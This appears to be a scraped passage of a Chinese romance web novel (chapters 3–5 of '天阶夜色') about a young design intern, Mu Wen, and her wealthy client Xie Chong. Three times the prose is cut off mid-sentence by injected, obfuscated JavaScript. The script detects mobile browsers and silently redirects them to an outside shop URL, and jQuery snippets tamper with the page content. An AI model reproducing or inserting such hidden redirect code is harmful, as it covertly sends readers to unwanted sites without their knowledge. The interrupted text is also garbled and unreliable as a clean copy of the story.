《天阶夜色》 3. 再遇 很难想象在北三环有这么一条巷子躲在高楼后面。 只要穿过一扇铁门,就走进了烟火人间里。卖小吃的小车一辆连着一辆,烤冷面、凉皮、炒饼、煎饼…;也有小摊位,麻辣烫、羊肉串、日用品…。 牟雯很喜欢这里,在这里,她什么都想吃点的时候,就都少买一点,不用担心消费不起。 她从小口壮,食量惊人。父亲牟德昌为了把她养育好,早些年去跑大车;母亲葛芸清则开了一家小包子铺,天不亮就起床揉面蒸包子。她时常坐在沾着面灰的案板边上一手拿着包子往嘴里塞、一手飞快写作业。写完了就将笔一丢,去帮妈妈的忙。冬天很漫长,只有山药、白菜和大雪,但她却从未亏过嘴——爸爸总能想到各种办法,把全国各地的东西给她带回到那座孤寂的内蒙小城里,再由妈妈自行发挥,做好了送进她嘴里。 后来牟雯考出家乡,去天津读书,入学的第一天站在学校的学一食堂里就开始震惊——天呐,这世界也太好吃了吧! 这条小街带给牟雯的就是这样的感觉:这世界太好吃了吧! 楚凌也爱吃。 她早早买好一串大羊肉串站在那里等牟雯。牟雯呢,拿着一袋切好的酱香饼跑到她面前,两个人进了烫串串店。老板娘是四川人,见到她们就叫:“幺妹,来喽。” 锅的四周坐满了人,她和楚凌找了位置挤着坐下去。 先分食羊肉串,一人一口,狼吞虎咽。牟雯说:“过年你跟我回家吧,我要请你吃我们内蒙的羊肉串。” 楚凌说起今天组长批评她:审稿不仔细,差点让错别字上首页!牟雯闻言咯咯地笑,说我今天没挨骂,但我去见客户啦。 她把拇指和食指分开做成八字形,小声说:“八十万。” “什么?”楚凌问。 “我今天见的客户,光硬装预算就要八十万。”牟雯想起谢崇轻飘飘说出“八十万”:“八十万呀,够我妈妈卖二十年包子啦!” “八十万!”楚凌也惊叹:“好多钱啊!” 牟雯忙不迭点头,夹了块饼放进嘴里:“老板娘,我要烫两份青菜、一份粉丝。”接着说:“重要的是,这位客户好年轻啊。” 那么年轻,那么富有,那么得体,那么漂亮。 “真好啊。”楚凌说:“我最怕狂妄的有钱人了。我们栏目组有时做访谈,我在一边打下手,总担心自己会露怯。” “我也是。我不敢说话。”牟雯说:“我从头到尾没有说话诶,我怕我一张口问出什么奇怪的问题来。我师父让我闭嘴好好学着。” 四川老板娘含笑看了她们俩一眼,把烫好的粉丝和青菜放到她们面前的圆盘里,这让她们忘记了刚刚突如其来的“自卑感”。 牟雯无法准确形容那种心境是自卑还是什么,就像她走在路边,如果前面驶来一辆豪车,她总会不由地挺起脊背。好像车里的人会看她,又或者她在通过这种姿态去寻求一种“平等”。 “楚凌,我今天确信了,其实呀,人与人之间是有隐形的阶级的。如果那算是阶级的话。” 吃过烫串串,她们手拉着手去对面的城乡仓储超市。这个时间超市里很多东西会打折,她们会混迹在老人的队伍中去买酸奶、面包和水果。 去超市要经过天桥。 她们总会在天桥上站一会儿,看夜晚拥堵的车流亮起的灯像银河一样,一路到四环、五环,一直到看不到的地方。北京的夜色那么美。 每当这时牟雯都会感叹:“堵车好美啊!开车好堵啊!我那八十万客户先生是不是也在这里堵着呢?” 因为谢崇是她此生见过的第一个客户,她顺口拿来给自己的玩笑凑数,却不知谢崇的车的确是这大堵车中的一辆。他正在打电话:“对,还有不到一公里。你们先吃,我不喝酒。” “我不爱吃他们家烤鸭。” “我也不爱看那个尴尬的表演。” “吃饭就是吃饭,能不能不搞那么多花活?” “破地方还不好停车。” 他堵车堵的心烦,想到要去吃那么难吃的宫廷菜,兴致更没有了。朋友听出他不悦,就哄着他:“好了好了,你忍一忍,应酬完了去吃别的。” “嗯。”谢崇这样嗯一声。蒋芜的电话打进来,被他挂断了。蒋芜又打,他又挂断。 “你还在生气吗?”蒋芜给他发消息:“好啦,我跟你道歉。下次我一定陪你碰装修方案好吗?” 谢崇气消了一点,终于肯接蒋芜的电话:“蒋芜,你知道吗?你看不上的东西是别人可望不可及的。你不爱钱,不稀罕万柳,但有人稀罕。” 他突然想起那个小助理,和被她用圆圈圈住的“八十万”,以及她极力装出的镇定的样子。人与人的参差,就那么明晃晃摆在桌面上。 “怎么?又有人盯上你啦?”蒋芜在电话那头笑了:“那你可要分清:人家是图你的钱还是图你的人。” 谢崇突然就不想说话。 蒋芜总是这样,金钱在她眼中一文不名。她喜欢谢崇,但对谢崇的财富不屑一顾。 “还在吗?”蒋芜问。 “不在。”谢崇径直挂断了电话。 他聚会的地方就在苏州街边上。 年轻的服务生扮成宫女太监站在仿古的大门前,不喊“欢迎观临”,喊“给王爷请安”,接着有人提着灯笼带你穿过幽静的小路,拐进“御花园”一样的地方。院子里曲水流觞,锦鲤在池子里奋力地游,有一两条试图往岸上跳,营造“鲤鱼跃龙门”的假象。 进门就有“宫女”伸手等着接他的大衣,接着另一个为他引位。谢崇换上一副面孔,还未入席,声音先去了:“抱歉来晚了,我要自罚三杯。” 别人起身欢迎他,他并不坐下。分酒器里已经倒好了“宫廷玉液”,他拿起小酒盅,连喝了三盅。别人鼓掌,他才入座。席间自然是谈生意,他把国内、国外的艺术品交互撮合,偶尔穿插着期货、股票还有大宗进出口贸易。 觥筹交错,推杯换盏,几次三番,生意就有眉目。他趁还清醒适时提出结束,请席间各位奔赴下一场。下一场会更雅致一些,一个私人小酒庄,里面有私藏的红酒。一个晚上十几万开销只是寻常消费。 为了做生意,谢崇豁得出去。这要得益于父母亲打小带着他,为他积攒很厚的家底,也教他一些生存的哲学。 待他到了家,已经快要凌晨,他洗漱过后格外清醒,干脆出门去吃早点。 谢崇和牟雯的夜晚截然不同,就像牟雯说的那样:所有人都喊着人人平等的口号,但人和人之间就是有难以跨过的鸿沟啊! 牟雯又熬了大半夜,第二天却像打了鸡血一样去公司。到林为森办公桌前绕了好几圈,琢磨着怎么跟林为森开口。 “怎么了?”林为森笑着问她:“你来回绕什么?这也不像你啊。” 牟雯嘿嘿笑了声,凑到林为森面前小声说:“师父,我想带人去谢先生家里复尺。” “量错了?”林为森问她:“不能吧。” “不是不是!”牟雯忙摆手:“我想再去找找感觉。您不是说初步方案我来出嘛?我没有感觉啊。” 林为森抬起脸看着牟雯。 年轻姑娘的脸上藏不住东西,她人生中看到的第一个“好房子”令她放不下,甚至带着一些莫名的“占有欲”。这感觉林为森当然懂。他碰到喜欢的房子也会想:这要是我的该有多好?况且那谢先生的风流是自成一派的,年轻女孩很容易为他所动。 “去吧。你自己带小顾去,也可以再问问客户有没有别的需求。” 牟雯高兴地跳了下:“谢谢师父!” 她昨晚闭上眼睛就是那个房子里西晒的光,那通透的全明的格局,她对那一切都很满意。 打电话给谢崇,电话接通的一瞬间牟雯结巴了一下:“喂,喂,你好…”她不知自己忽如其来的紧张因何而起,按住话筒深呼吸一口,才又开口:“请问是谢先生吗?” “是,哪位?” “我是林工的助理牟雯。昨天去您家里量过房,今天想去复个尺,不知您是否方便呢?” 谢崇跟她约了时间,挂断电话的时候为了避免再见面时忘记名字的尴尬,重复了一遍她的名字:牟雯。 那天傍晚终于没有风了。 北京的秋天倘若不刮风,就又是另一番好景象。牟雯终于能把头发披散下来,怕低头时头发遮脸,在耳侧夹了一个装饰着小花朵的边夹。 她走在秋天里,踩着地上偶尔落下的一片叶子。偶有一阵风吹起她的发丝,她会顺着风的心意甩一甩。晴朗欢快。 小顾问她为什么这么开心,她说:“我也不知道,感觉像要回家一样。” 小顾刚结束哺乳期,拿着很低的工资,配合设计师去各种各样的家里量房,早就没有了牟雯这样的心境。但这一天她看着牟雯脸上的神采,竟破天荒理解了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441317|201049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她说:“是啊,这一家地段好、小区环境好、户型好,就连那个户主看着都很好。我要再年轻几岁,一定也会像你这样开心。” 牟雯就哈哈笑了,亲密地搀住小顾的胳膊,与她一同上楼去了。 房门仍然开着,谢崇先一步到了。她们在穿鞋套的时候,谢崇就站在门前等着。 牟雯微微弯着身,谢崇看到她的花朵边卡,还有散落一肩的微卷的长发。待她直起身,他已经收回了目光。 “辛苦牟小姐。”他说:“你们是唯一一家这么快复尺的公司。”他的语气很平静,别人很难听懂内里的情绪。他其实是说给牟雯听,他早已洞悉了这次复尺,是因着面前这位牟女士对这房子的憧憬。 牟雯愣了一下,来之前想的所有开场白一瞬间都忘了,好在她反应快,马上就露出暖阳似的笑:“是我第一次做初稿设计,怕出错。” 她这样诚实,甚至没有编出一个冠冕堂皇的理由来。这却让谢崇很受用,他做生意的,最讨厌遇到心口不一的人。越简单,他越喜欢。 小顾已经去量房了,牟雯又拿出笔记本,准备再跟谢崇聊聊。 谢崇却在心里说了一句“又来了”,他最烦把话翻来覆去地说,所以直接说:“我的要求昨天都说了,没有要补充的。” 牟雯突然发现,他昨天表现出的和气礼貌不过是他的一层皮囊,他私下里应该是一个很难接触的人。他抵触她再提问,她就不再问,又把本子放回去。 “那不好意思啦,我原本想多了解一些,这样便于我们做设计。” “比如呢?多了解什么?”谢崇说:“风格?喜好?还是别的?”接着笑了:“这些就说来话长了。”说完朝她伸出手。 “什么?”牟雯问。 “手机。”谢崇说:“手机给我。” 牟雯拿出自己的手机。那是她用了三年的5300,红白拼色的手机,里面下载着她喜欢的音乐,手机上规整地缠着白色的耳机线。谢崇将耳机线打开,推开滑盖,在键盘上输了一个号码,直接拨出打给了他自己。 “你设计过程中遇到问题,可以拨打我的私人号码。”谢崇一边说一边重新帮她缠好耳机线,将手机还给了她。 牟雯人生首次获得客户的私人号码,一时之间有些受宠若惊。心中也有一些隐秘的欣喜,她却不知这欣喜因何而来。 “你是原本就不爱说话吗?”谢崇突然问她。她昨天在楼下,以及刚刚上楼前都是神采飞扬的,他在楼上都看到了的,到了他面前却这样寡言。 他这样问,牟雯就来了精神,她受气包似地嘟囔一句:“因为从进门开始,谢先生就没给过我机会说话啊!” 谢崇突然就笑了。 真好玩。他想。她还挺委屈。 他是一个心思很“阴沉”的人,总会无意间给别人施压:能忍就忍,不能忍自然会滚。他总是抱着这样的心态,所以异性一边怕他,一边爱他。 他还是第一次听到这么自然的控诉,控诉他不给别人说话的机会。面前这位涉世未深的“穷”女孩,尽管艳羡着他拥有的一切,也毫不掩饰她的憧憬,却仍能准确表达出对他的不满。 她是蒋芜的背面。 这让他对她有了一点恻隐之心。 “你住在哪里?”谢崇随便找了个话题。 “我住的地方离这里不远,苏州街。” “苏州街哪里?”谢崇实在不想找别的话题,就继续问。 “大超市的对面。” “房租很贵吧?”谢崇又问。 “350一个床位,我住上铺。”牟雯坦荡地回答,甚至忍不住叉开腿和手在地板上给谢崇丈量——这么大的上铺。接着仰起脸笑着对谢崇说:“够住,我们“画图的”经常熬通宵,家对我们来说就是一张床铺。” 谢崇忽然明白了她昨天在楼下跟她师父说的是什么,原来是在描述她自己的床铺和他的家。 “干净吗?”他又问。 “…很凌乱,东西很多。客厅里阳台上堆着很多行李箱和杂物…” 谢崇终于不再问了。 他的眼睛先是落在她的发卡上,接着对上了她的目光。她很意外他的凝视,慌乱地闪开了眼。 “你的发夹,有一朵花掉了。”谢崇说。 她的手摸上去,摸到了那残破的发夹,心里涌起一股无名的愤怒,但紧接着消散了。 “还能用呢!”她说。 4.三遇 牟雯点灯熬油出了一版方案发给林为森,同时等着林为森劈头盖脸痛骂她。她听说这公司的实习生总要因为第一次出方案的事挨骂,就觉得自己肯定也逃不掉。 林为森却在晚上突然通知她,让她联系谢崇来沟通方案。 “哈?我那版?”牟雯有点意外:“师父你还没改呢!” “先对你那版。”林为森做太多客户了,几乎100%客户无论第一版方案什么样,都会改第二次、第三次。所以初版方案只要不出大问题,基本都可以混过去。何况牟雯的方案做的那么好。 林为森发现牟雯是一个极有才华的设计者。公司里很多实习生会有通病:很难将理论转化为实践,所以做出的设计都很中庸。牟雯不一样,她的设计有很多巧思。她一定花了很多很多心思。她真把那当成自己家来设计了。 这些话林为森没对牟雯说。他当师父,有时也要有自己的威严,怕夸她太多她翘尾巴。他不夸她她还每天自我肯定呢,对方案之前先跟林为森说:“师父我跟你说,我这版方案可太好了!” “你太自信了。”林为森说:“你尾巴别翘太高,回头公司不签你,你就去设计院吧!” “不!可!能!”牟雯知道林为森吓唬她:“公司当然会签我啦,我这么厉害。我不去设计院,设计院赚钱少。” “设计院解决北京户口。”林为森提醒她。牟雯的一些同学为了户口去了设计院,工资相对低一些,但福利待遇也很好。牟雯不想去,她想拿高工资。都是画图,她想画性价比高的图。 “北京户口固然好…但当下我真的很想赚钱。”牟雯如实说。爸爸早些年开大车,腰椎不好;妈妈一直在做包子,颈椎不好。他们都很辛苦,牟雯想趁年轻多赚点钱。 牟雯打给谢崇的时候,已然接近深夜。 她先用公司电话打了他工作号码,但打了几次都没人接听,于是换了私人号码。 电话很快被接起,谢崇径直叫她的名字:“牟雯。”很干脆,再没别的话。 牟雯先是顿了下,接着学他的语气说:“谢崇。” 这次换谢崇惊讶,他故作严肃:“你模仿我?” 牟雯实在憋不住笑,嘿了一声说:“谢先生,初稿已经做好了。请问您什么时候有时间,我们可以碰一下。” “我去你们公司吧。”谢崇说:“我明天处理完工作去,下午五点半左右。” “好的。” 谢崇的声音真好听,牟雯挂断电话后有些愣怔,带着点意犹未尽。可她再想不出什么搭讪的话来,于是去网上搜:贫穷和富有的异性之间都有什么聊天话题?出来的答案千奇百怪,牟雯一边看一边笑,太逗了,这都是什么鬼东西啊?接着又自问:我搜这个干什么啊? 牟雯还未真正经历过北京的秋天,总觉得那与天津会相差无几。因为连熬了几天,心血快熬干了似的,第二天起床的时候动作格外缓慢。裹着被子坐起来,眼睛还没睁开,竟又坐着睡了两分钟。 楚凌在下铺轻轻敲她床板,叫她起床。 牟雯这才彻底睁开眼。 她们约了去新开的早点铺子吃豆腐脑和油条,出门前楚凌往牟雯头上别了一个新发卡:“喏~我看你的花朵掉了,昨天晚上我去后面小巷子买了两个,你一个,我一个。” 楚凌说完侧过脸给牟雯看她的,牟雯已经凑上前去抱住了她肩膀:“楚凌,楚凌,你对我太好了!等我发工资我请你吃九头鹰或者必胜客好不好!” 那家必胜客就明晃晃开在天桥下,牟雯每次想去吃,总觉得贵。但是要请楚凌吃她就不会心疼。 “好啊好啊。”楚凌很开心:“等我发奖金我也要请你,咱们把楼下这两家都吃了!” “不吃避风塘!便宜!”牟雯哼了一声,做出藐视避风塘的样子,接着兀自笑了声。 苏州街两旁的树叶开始簌簌落了,她们两个裹紧衣服挤在一起走路,说:“天晴了就好了,周末去动物园买棉袄啊!” 早餐店里的豆腐脑很好吃,两个人胃口大开,又加了一屉小笼包,吃完了一个向左奔白石桥,一个向右奔了中关村。 牟雯到了单位还没坐下,林为森就对她摆手:“走,今天小顾小孩生病请假了,你陪我去看房,三个。然后回来跟谢先生对方案。” “谢先生真会来公司吗?”牟雯说:“我猜他八成会放鸽子的。” “未必。做大事的人时间管理很厉害的,我猜他会来。”林为森说完回头看了牟雯一眼,有些欲言又止。他想的是:这社会上坏人那么多,牟雯这样的女孩很容易被人盯上。 “师父你想说什么?”牟雯问。 “我想说咱们这行新人太辛苦了,你要挺住。” 两个人说着话出了公司,这才发现下起了雨。 北京的秋雨下起来是层层叠叠的。 乌云盖过最高的楼,一点点向四周蔓延,接着覆盖整个城市。秋雨带着寒凉,每下一场,天气就迅速变冷一点。所以北京的秋天总好像很短。 牟雯打了个哆嗦,跟着林为森上了车。 这一天的房量的很艰难,两个双拼别墅、一个大平层。户主都有很多很多的要求,牟雯一边量对方一边说: “小心点啊,那个插画很贵的!” “墙壁我不准备重刷了,你不要弄脏了。” “量的太慢了,我还有急事呢!” … 牟雯起初心态很好,无论客户说什么她都笑着答应:“好的,您放心吧,我会小心的。” 直到客户说:“这个东西你可能都没见过,弄坏了你也赔不起…” 她的动作停滞了一下。 那是真正的嘲讽和傲慢,是来自于一个有钱人的俯视。林为森这时说:“对的,我们接触这些东西少,今天真是开眼界了。” 牟雯心想这开了什么眼界?这是赝品啊。她虽没见过真的,但书上有啊。 “你看这小姑娘还不服气,你们公司就这么为客户服务的啊?”客户突然发难。 林为森忙接过牟雯手里的工具和本子,将她向外推。他知道牟雯心直口快,怕她惹事。但他不了解牟雯,她虽然委屈,但影响她赚钱的事她不干! 林为森把她推到外面,她突然回头笑着说:“对不起啦!您别计较!” 门关上了,她站在门口,看着外面的秋雨,突然就很想家。给母亲打电话,哭唧唧地说好想吃妈妈包的包子,也想喝妈妈自己熬的奶茶。 葛芸清下意识问她是否受了什么委屈,她压低声音说妈妈我今天碰到大傻子啦!他把赝品当真品,还说我服务态度不好! 葛芸清是个炮仗脾气,听到这个顿时火冒三丈:“你骂他了吗?” “我没有啊,我不敢啊,那是我的客户啊。” “不行!你骂回去!” 牟雯知道葛芸清的脾气,跟她商量:“亲爱的妈妈,我下次骂回去行吗?” 葛芸清消了点气:“你刚说想吃什么?” “我想吃妈妈包的包子、熬的奶茶,我想吃奶皮子奶豆腐,还想吃牛肉干…” 她话还没说完,电话那头已经嘟嘟嘟了。 牟雯知道自己为难妈妈了,她包的包子,经由老家的物流到她手里已经长绿毛了! 她觉得妈妈说得对,得骂回去。于是她站在那里,在心里把客户的臭品味骂了个遍!她不会骂人,骂的最狠的一句是:不行你去医院配副眼镜吧!真假都不分! 林为森出来的时候给她使眼色,她立马堆起笑脸对客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443730|201049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户说:“刚刚我已经自我检讨了,您别跟我生气。我是实习生什么都不懂。别生气,奥~” 她哄人真有一套,不卑不亢的,但就是让人舒服。原本心情不好的客户这会儿好多了,跟她说:“没事,我不跟你计较。” 回去路上雨越大越大,公司停车场的抬杆坏了,为了不耽误时间,林为森让牟雯先上楼准备,她车门开了又坐了回来,问林为森:“师父,我看起来是不是今天过的不错?” 林为森不知她为什么这么问,就逗她:“你看起来像每天都过的不错。” “那太好了!谢谢师父!”牟雯推开车门跑进了雨里。 她不知北京的秋雨是这样的,一下就将她单薄的衣服打透了。电梯间里随着楼门一开一关,不停地灌进凉风。等一班晚高峰的电梯竟然要那么久。 她在墙上看到自己模糊的影子——一只瑟瑟发抖的落汤鸡。 我得避开谢崇,她想。谢崇肯定会说:你的衣服,浇湿了。就像他说“你的发卡,掉了一朵花”一样的口吻。牟雯怕自己忍不住骂他。一天忍两次也太残忍了。 进公司就朝工位跑,洽谈间里的谢崇看到她的鞋底踩在地毯上,竟留下了一排浅浅的湿脚印。 五分钟后她换了公司发的定制T恤走进来,脚上穿着一双湿透了的帆布鞋。 她今天过得挺糟糕。谢崇想。北京的秋天不常下雨,下一场就剥夺了温暖,径直把人卷入冬天。 牟雯察觉到他的目光落在她的脚上,在他看不到的地方缩了下脚趾。 好在林为森推门进来跟谢崇道歉,说今天被大雨耽搁,迟到了。 谢崇说:“没事。外面冷吗?” “特别冷。”林为森说。 “我说的呢。”谢崇看向牟雯:“牟助理嘴唇都紫了。”他说完起身就把自己的真皮夹克隔着桌子丢给她,她慌乱接过,差点将其掉在地上。 “借你一会儿。走时候还我。”谢崇说:“我刚看到你向里跑了,回来也没加件衣服,应该是没有备用的衣服了。” 牟雯也不逞强,说谢谢。将他的黑色夹克披在了身上。那夹克上淡淡的香将她包围了。这或许很暧昧,但她已经顾不得了。她太冷了。 她的老帆布鞋终于在这个秋天死去了。 刚刚涉积水过来的时候她就在心疼,那双鞋陪了她好几年。是她高三一摸成绩好,葛芸清咬牙买给她的匡威。虽然磨出了毛边,鞋底越来越薄,但她总会在需要走很多路的时候穿着。现在它开口了。 牟雯察觉到冷风顺着开口钻进她潮湿冰冷的脚掌,连带着她整个人都冷起来。 完蛋了。小牛犊子牟雯感冒了。牟雯心里偷偷说。 过方案的时候她强迫自己集中注意力,不停在本子上记着谢崇的诉求。有时她察觉到谢崇似乎在看她,她并没有抬头。她现在只想回到她的上铺上,好好睡一觉。 “牟雯。” 她睁开眼皮四下看,林为森不知去了哪里,只剩下对面的谢崇。 “牟雯。”谢崇又叫了她一声:“你睡着了。” 牟雯忙跟他道歉:“对不起,我有点不舒服。” “你打呼噜了。”谢崇说。 牟雯下意识问他:“声大吗?” 谢崇笑了:“不大。”停顿几秒说:“因为你没打。” “…”牟雯没有力气理会他的恶趣味,问:“我师父呢?” “他出去接电话了。” “哦。” 牟雯又趴回桌子,她察觉到自己烧了起来。谢崇的椅子向后靠,也准备休息一会儿。他的目光自然落到桌底,看到了牟雯的鞋。 她的帆布鞋前脸儿扯开了嘴角,正在对他笑。 谢崇下意识扭过脸去。 5.三遇 外面雨没有要停的意思。 这样的雨想叫到车是很难的。林为森提议送牟雯回家,但这时他爱人打电话进来:“我好饿呀,快回来给我做饭呀!” 林为森的爱人处于孕晚期,每天都很辛苦。牟雯忙拒绝他的好意:“师父你快回家陪师娘,不用管我。” “可你打不到车。”林为森很为难地说。 “我捎她回去吧。”谢崇将牟雯还给他的衣服又丢给她:“穿着吧,到了再还我。” 牟雯没有力气逞强,她只想快点回家,她太难受了。穿着谢崇的皮衣跟在他身后走了。 一路下到地下车库,跟在他身后,没有插科打诨的力气,很可怜。她想起儿时葛芸清从牧区买回一只小牛犊,说养大了给她挤牛奶喝。那小牛犊来的第三天就趴在地上,蔫蔫的,像极了当下的她。 谢崇偶尔回头看她一眼,他意外地没有说任何话。 他的车在幽暗的地下车库里那么独特。 牟雯前段时间帮客户设计独立车库时顺手研究了车,她能认出谢崇这一款价值不菲的车,欧陆GT。 他为她顺手拉开车门就去驾驶位,而她站在那里,低头看看自己湿着的鞋和他异常干净的车,在犹豫要不要上车。谢崇已经系好了安全带,探头看着她:“上来吧,脏了不用你洗。” 他一语道破牟雯的担忧,却又未完全道破。他知道不只是弄脏的事,还有她因为糟糕的一天而生出的沮丧,以及对人与人之间贫富差距的恐慌。 牟雯心一横上了车,在谢崇的注视下系好安全带,对他说:“麻烦了,谢先生。你的车很漂亮。” “喜欢吗?”谢崇问。 “喜欢。以后赚钱了我也买。”牟雯玩笑一句,突然想起下午的那个客户,如果在场肯定会说:“小心点啊,坐脏了我的车你都洗不起。这车你攒一辈子钱也买不起。”那人一定会这么说的。 谢崇却说:“买水晶兰色,适合你。” “好的,谢谢,我记住了。” “我这辆,别人的。”谢崇看了她一眼:“真的。” 车行驶在大雨中,路上遇到两处追尾,时间那么难捱。 谢崇问牟雯冷不冷,牟雯没有回答她。他凑过去仔细看她,发现她睡着了。谢崇松了口气。牟雯的狼狈令他觉得不适。他生活中极少有这样的女孩,他窥得清贫的片面一角,觉得与她不是一路人。她的狼狈像一张血盆大口,只要注视久了就会将他吞没似的。 他内心有些抵触这样的人。 倘若让他与这样的人谈感情,他是断然不会的。他其实已经察觉到牟雯对他或许是有一些不一样的情愫的。 他既不愿玩弄“贫穷”女孩的感情,也怕有什么无可避免的麻烦。 但他不会表现出来。他会绅士地为她递上衣服、真诚地提出送她回家,他当然知道,在这一天以后,他会刻意保持与她的距离了。 到了苏州街,他找了个位置停车。 “牟雯。”他叫了声,牟雯没有反应。 “牟雯。”他又叫了声,牟雯仍旧没有反应。 别是死在我车里了吧!他突然冒出这样的念头,伸手去试了试牟雯的鼻息,还活着,他松了口气,收回手,大声喊:“牟雯!” 牟雯从深睡中惊醒,四下去看,看到前面熟悉的天桥,和旁边的建筑。 “我到家了。”她开口说话,嗓子很哑。 “对,你到家了。”谢崇说:“你等一下。”他冒雨下车去后备箱取两把雨伞,自己撑开一把,绕到副驾帮她开车门。见牟雯正在脱掉他的夹克,就说:“穿着吧,以后有机会还给我。”牟雯抬起头看到他的头发上挂着一个雨滴,心就被摇晃了一下。 “不用啦。”牟雯说:“就这几步,我飞着就进门了。” 但她接过了谢崇的雨伞。因为她背着她的双肩包,内里是她的电脑。她怕把电脑浇坏了。 她这种“画图党”无论到哪,都要保护好自己吃饭的工具,这点理性她得有。 她走进雨里,还不忘回头对已经上车的谢崇喊:“谢谢你啊,你人真好。” 谢崇升窗前对她笑一笑,发动引擎走了。 牟雯并没发现谢崇的心理变化,一直到冲了热水澡、吃了药,躺在床上,都还在念着:“谢先生跟其他傲慢的客户不一样,他是一个好人,一个大好人。” 而谢崇到了家收拾妥当后,打开手机看到牟雯给他发的短信:“谢谢,雨伞下次还给你。”他并没当即回复这条消息。 他怕他回了,牟雯说起别的,他还需要再应付。他内心里已经觉得牟雯一定会是这样的了。 第二天上午他才回:“不用还。买车赠品。我有很多。”他并没问牟雯的病情。 牟雯这个“小牛犊”,第二天睁眼跟林为森请了半天假,又翻身睡去,到了中午睁眼就已经神清气爽了。上晚班还未出门的楚凌对着她啧啧啧:“你身体也太好了吧?” 牟雯举起胳膊给楚凌展示:“我可是喝羊奶长大的内蒙人!” 楚凌捏了捏她的皮肤:“真紧实啊,真健康啊。” 她自己比牟雯矮了小半头,是温柔白净的南方姑娘。有时她看着牟雯浑身有使不完的牛劲,总会羡慕她。 这会儿宿舍只有她们二人,牟雯饿了。 她生病后总会胃口大开,不,更开。 她问楚凌想不想吃点好吃的,楚凌问她吃什么?她说我用我的小快手给你做一道焖面吧!你等着!楚凌说咱们没有工具啊,她说咱们有小电锅啊! 她是梳着单髻的小“哪吒”,穿上雨衣,脚底板跑出了火星子一样冲向城乡仓储,买了豆角、五花肉、葱姜蒜、面条后又冲了回来。就一个小电锅,先煸炒、再焖煮,怕宿舍里有味道,两个人挤在开了窗堆满杂物的小阳台上,完成了一道内蒙美食。 雨丝飘落进来,她们就给小电锅撑起一把伞。 “真该给我妈妈看看。”牟雯一边吃一边说:“我妈妈总跟我说在外面吃不饱就回家,陪她做包子。她说无论如何,做包子饿不死。我得跟我妈妈说,我在外面也饿不死,我不仅饿不死,我还吃撑啦~” “嗝~” 楚凌捂着肚子笑:“牟雯,你太好玩啦!你怎么这么好玩呢!” 牟雯吃饱喝足该去上班,打开手机看到谢崇回给她的短信,下意识就想:买一辆车会送很多雨伞吗?… 她完全没有察觉到谢崇这条消息的不对,只是觉得昨天的确很麻烦他,她出于礼貌编辑: 昨天真的太麻烦了,改天请你吃饭。 想到在北京实习的同学们说“改天”聚会,这个“改天”总是遥遥无期,那么不真诚,于是又重新编辑: 昨天真的太麻烦了,签装修合同的时候我请你吃饭吧。 想到谢崇吃的饭跟她吃的饭不一样,她应该请不起谢崇吃饭,她也不愿打肿脸充胖子,最后给谢崇发的是: 昨天辛苦了,我回头跟我师父申请,装修时候为您多申请一个顶级好的家电礼品吧! 她的权限仅到这里,公司服务的客户大多数都是有钱人,所以准备的赠品并不含糊。她借花献佛,两全其美。 谢崇看到这条消息发来一条问号:“我说我要跟你们签了?” 牟雯回:“当然啦~我不信别人的方案比我们的好!”她心里说的我不信别人比我好。 牟雯是下了大功夫的,她把公司素材库里所有的方案都啃了一遍,又去各式的新闻里看名人们的家,再掉头思考谢崇这个人可能有的偏好…她不信有人比她做的更好,她就是有这般的自信。很可惜,谢崇没有再回她,她为自己准备的“陈词”没机会发出去。 牟雯到了公司就去找林为森,问他要不要找谢崇签合同。林为森让她去跟进。她打谢崇的电话,无论是工作号码还是私人号码都没人接听。 牟雯真的怕谢崇被人截胡。 她付出了那么多心血,也想要这个项目的奖金。虽然分到她手里寥寥无几,但哪怕只有一分钱,她也要。 她不敢再打电话,怕触了谢崇的逆鳞。昨天晚上她还觉得谢崇是好人,这个客户她势在必得;今天她又觉得谢崇或许不像她看到的那样,他城府很深。 她刚刚退烧,浑身那点牛劲已经用完了,因为谢崇拒接她的电话,又显得有点可怜。她察觉到自己的内心是被什么东西在牵扯着,但却说不清那是什么。 快下班时她听到林为森接起电话:“谢先生。” 牟雯几乎是一瞬间从工位弹跳起来,支起耳朵跑到林为森工位旁边,趴在玻璃隔断上,满眼期待地看着林为森。 林为森对她比了个“耶”,接着说:“谢先生比完稿了,决定跟我们签是吗?” “什么时候方便签合同呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446605|201049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今天?”林为森看到牟雯在他面前跳了起来,她在原地转圈给自己庆祝,庆祝她人生第一套方案的成功。 还该说什么呢?他这个徒弟真的很棒啊! 他挂断电话还没开口,牟雯就说:“师父,我知道!我去做合同!我马上就做!” 林为森这时想起一个问题:“他下午没接你电话?” 